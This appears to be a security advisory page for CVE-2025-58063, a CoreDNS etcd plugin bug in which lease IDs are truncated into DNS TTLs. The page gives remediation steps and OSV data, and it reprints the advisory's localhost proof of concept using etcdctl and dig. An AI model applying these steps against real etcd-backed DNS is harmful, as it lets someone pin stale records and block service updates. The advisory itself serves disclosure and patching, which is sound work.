CVE-2025-58063: CoreDNS DNS Cache Pinning Vulnerability

HIGH
Advisory Identifier: GHSA-93mf-426m-g6x9
CVSS 7.1
CWE-681
Published
Advisory Summary

CVE-2025-58063 is a HIGH (CVSS 7.1) dns cache pinning vulnerability (CWE-681: Incorrect Conversion between Numeric Types) affecting CoreDNS libraries in the Go ecosystem. The issue involves dns cache pinning via etcd lease id confusion. Remediation is available by upgrading affected packages to version 1.12.4.

CVE-2025-58063 at a Glance

CVE Identifier CVE-2025-58063
GHSA Identifier GHSA-93mf-426m-g6x9
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-681: Incorrect Conversion between Numeric Types
Affected Product CoreDNS
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2025-58063

To remediate this vulnerability, upgrade all affected CoreDNS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/coredns/coredns fixed: 1.12.4
Upgrade github.com/coredns/coredns to 1.12.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/coredns/coredns

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-58063, inspect your project dependencies for CoreDNS:

inspect dependencies for github.com/coredns/coredns

Analyze the terminal output to locate any version of CoreDNS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.12.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-681: Incorrect Conversion between Numeric Types, where when converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. if the resulting values are used in a sensitive context, then dangerous behaviors may occur. In CoreDNS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Summary The CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling cache pinning for very long periods. This can effectively cause a denial of service for DNS updates/changes to affected services. # Details In `plugin/etcd/etcd.go`, the `TTL()` function casts the 64-bit etcd lease ID to a uint32 and uses it as the TTL: ```go func (e *Etcd) TTL(kv *mvccpb.KeyValue, serv *msg.Service) uint32 { etcdTTL := uint32(kv.Lease) // BUG: Lease ID != TTL duration // ... rest of function uses etcdTTL as actual TTL } ``` Lease IDs are identifiers, not durations. Large lease IDs can produce very large TTLs after truncation, causing downstream resolvers and clients to cache answers for years. This enables cache pinning attacks, such as: 1. Attacker has etcd write access (compromised service account, misconfigured RBAC/TLS, exposed etcd, insider). 2. Attacker writes/updates a key and attaches any lease (the actual lease duration is irrelevant; the ID is misused). 4. CoreDNS serves the record with an extreme TTL; downstream resolvers/clients cache it for a very long time. 5. Even after fixing/deleting the key (or restarting CoreDNS), clients continue to use the cached answer until their caches expire or enforce their own TTL caps. Some resolvers implement TTL caps, but values and defaults vary widely and are not guaranteed. # PoC 1. Launch etcd: ```bash etcd \ --data-dir ./etcd-data \ --listen-client-urls http://127.0.0.1:2379 \ --advertise-client-urls http://127.0.0.1:2379 \ --listen-peer-urls http://127.0.0.1:2380 \ --initial-advertise-peer-urls http://127.0.0.1:2380 \ --initial-cluster default=http://127.0.0.1:2380 \ --name default \ --initial-cluster-token etcd-ttl-poc \ --initial-cluster-state new & ``` 2. Prepare CoreDNS configuration: ```bash cat > Corefile << 'EOF' skydns.local { etcd { path /skydns endpoint http://localhost:2379 debug } log errors } EOF ``` 3. Launch CoreDNS: ```bash coredns -conf Corefile -dns.port=1053 ``` 4. Create an etcd record called `large-lease-service` with a lease grant of 1 hour: ```bash LEASE_ID=$(etcdctl --endpoints=http://127.0.0.1:2379 lease grant 3600 | awk '{print $2}') etcdctl --endpoints=http://127.0.0.1:2379 put /skydns/local/skydns/large-lease-service '{ "host": "192.168.1.101", "port": 8080 }' --lease=$LEASE_ID ``` 7. Verify the lease details: ```bash $ etcdctl lease timetolive $LEASE_ID lease 7c4a98dd35b75c23 granted with TTL(3600s), remaining(3252s) ``` 8. Query the DNS record and observe the record TTL at 28 years: ```bash $ dig +noall +answer @127.0.0.1 -p 1053 large-lease-service.skydns.local A large-lease-service.skydns.local. 901209123 IN A 192.168.1.101 ``` # Impact Affects any CoreDNS deployment using the etcd plugin for service discovery. - Availability: High as service changes (IP rotations, failovers, rollbacks) may be ignored for extended periods by caches. - Integrity: Low as stale/incorrect answers persist abnormally long. (Note: attacker with etcd write could already point to malicious endpoints; the bug magnifies persistence.) - Confidentiality: None. The bug was introduced in #1702 as part of the CoreDNS [v1.2.0 release](https://github.com/coredns/coredns/releases/tag/v1.2.0). # Mitigation The TTL function should utilise etcd's Lease API to determine the proper TTL for leased records. Add configurable limits for minimum and maximum TTL when passing lease records, to clamp potentially extreme TTL values set as lease grant. # Credit Thanks to [@thevilledev](https://github.com/thevilledev) for disclovering this vulnerability and contributing a fix. # For more information Please consult our [security guide](https://github.com/coredns/coredns/blob/master/.github/SECURITY.md) for more information regarding our security process.

CVE-2025-58063 Affected CoreDNS Versions

1 component(s)
Fixed Versions:
1.12.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/coredns/coredns
Go
≥ 1.2.0
< 1.12.4
1.12.4

References

Frequently Asked Questions

What is CVE-2025-58063?
CVE-2025-58063 is a security vulnerability in CoreDNS involving DNS Cache Pinning via etcd Lease ID Confusion under CWE-681: Incorrect Conversion between Numeric Types.
Which CoreDNS versions are affected?
Affected versions include releases prior to 1.12.4 across affected packages: github.com/coredns/coredns.
What version fixes CVE-2025-58063?
Upgrading to 1.12.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/coredns/coredns affected?
Yes, github.com/coredns/coredns is affected in releases prior to 1.12.4. Upgrade your dependency to 1.12.4 or later.
What is the CVSS score of CVE-2025-58063?
CVE-2025-58063 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H.
What CWE is associated with CVE-2025-58063?
CVE-2025-58063 is classified under CWE-681: Incorrect Conversion between Numeric Types (When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.).
How can I check Go dependencies for CVE-2025-58063?
Run the dependency tree command: 'inspect dependencies for github.com/coredns/coredns'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93mf-426m-g6x9",
  "modified" : "2025-09-10T21:07:40Z",
  "published" : "2025-09-09T19:19:33Z",
  "aliases" : [ "CVE-2025-58063" ],
  "summary" : "CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion",
  "details" : "# Summary\n\nThe CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling cache pinning for very long periods. This can effectively cause a denial of service for DNS updates/changes to affected services.\n\n# Details\n\nIn `plugin/etcd/etcd.go`, the `TTL()` function casts the 64-bit etcd lease ID to a uint32 and uses it as the TTL:\n\n```go\nfunc (e *Etcd) TTL(kv *mvccpb.KeyValue, serv *msg.Service) uint32 {\n    etcdTTL := uint32(kv.Lease)  // BUG: Lease ID != TTL duration\n    // ... rest of function uses etcdTTL as actual TTL\n}\n```\n\nLease IDs are identifiers, not durations. Large lease IDs can produce very large TTLs after truncation, causing downstream resolvers and clients to cache answers for years.\n\nThis enables cache pinning attacks, such as:\n\n1. Attacker has etcd write access (compromised service account, misconfigured RBAC/TLS, exposed etcd, insider).\n2. Attacker writes/updates a key and attaches any lease (the actual lease duration is irrelevant; the ID is misused).\n4. CoreDNS serves the record with an extreme TTL; downstream resolvers/clients cache it for a very long time.\n5. Even after fixing/deleting the key (or restarting CoreDNS), clients continue to use the cached answer until their caches expire or enforce their own TTL caps.\n\nSome resolvers implement TTL caps, but values and defaults vary widely and are not guaranteed.\n\n# PoC\n\n1. Launch etcd:\n\n```bash\netcd \\\n  --data-dir ./etcd-data \\\n  --listen-client-urls http://127.0.0.1:2379 \\\n  --advertise-client-urls http://127.0.0.1:2379 \\\n  --listen-peer-urls http://127.0.0.1:2380 \\\n  --initial-advertise-peer-urls http://127.0.0.1:2380 \\\n  --initial-cluster default=http://127.0.0.1:2380 \\\n  --name default \\\n  --initial-cluster-token etcd-ttl-poc \\\n  --initial-cluster-state new &\n```\n\n2. Prepare CoreDNS configuration:\n\n```bash\ncat > Corefile << 'EOF'\nskydns.local {\n    etcd {\n        path /skydns\n        endpoint http://localhost:2379\n        debug\n    }\n    log\n    errors\n}\nEOF\n```\n\n3. Launch CoreDNS:\n\n```bash\ncoredns -conf Corefile -dns.port=1053\n```\n\n4. Create an etcd record called `large-lease-service` with a lease grant of 1 hour:\n\n```bash\nLEASE_ID=$(etcdctl --endpoints=http://127.0.0.1:2379 lease grant 3600 | awk '{print $2}')\n\netcdctl --endpoints=http://127.0.0.1:2379 put /skydns/local/skydns/large-lease-service '{\n  \"host\": \"192.168.1.101\",\n  \"port\": 8080\n}' --lease=$LEASE_ID\n```\n\n7. Verify the lease details:\n\n```bash\n$ etcdctl lease timetolive $LEASE_ID\nlease 7c4a98dd35b75c23 granted with TTL(3600s), remaining(3252s)\n```\n\n8. Query the DNS record and observe the record TTL at 28 years:\n\n```bash\n$ dig +noall +answer @127.0.0.1 -p 1053 large-lease-service.skydns.local A\nlarge-lease-service.skydns.local. 901209123 IN A 192.168.1.101\n```\n\n# Impact\n\nAffects any CoreDNS deployment using the etcd plugin for service discovery.\n\n- Availability: High as service changes (IP rotations, failovers, rollbacks) may be ignored for extended periods by caches.\n- Integrity: Low as stale/incorrect answers persist abnormally long. (Note: attacker with etcd write could already point to malicious endpoints; the bug magnifies persistence.)\n- Confidentiality: None.\n\nThe bug was introduced in #1702 as part of the CoreDNS [v1.2.0 release](https://github.com/coredns/coredns/releases/tag/v1.2.0).\n\n# Mitigation\n\nThe TTL function should utilise etcd's Lease API to determine the proper TTL for leased records. Add configurable limits for minimum and maximum TTL when passing lease records, to clamp potentially extreme TTL values set as lease grant.\n\n# Credit\n\nThanks to [@thevilledev](https://github.com/thevilledev) for disclovering this vulnerability and contributing a fix.\n\n# For more information\n\nPlease consult our [security guide](https://github.com/coredns/coredns/blob/master/.github/SECURITY.md) for more information regarding our security process.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/coredns/coredns"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.0"
      }, {
        "fixed" : "1.12.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/coredns/coredns/security/advisories/GHSA-93mf-426m-g6x9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58063"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coredns/coredns/commit/e1768a5d272e9da649dfb8588595e5c6e4e640bf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/coredns/coredns"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-681" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-09T19:19:33Z",
    "nvd_published_at" : "2025-09-09T20:15:48Z"
  }
}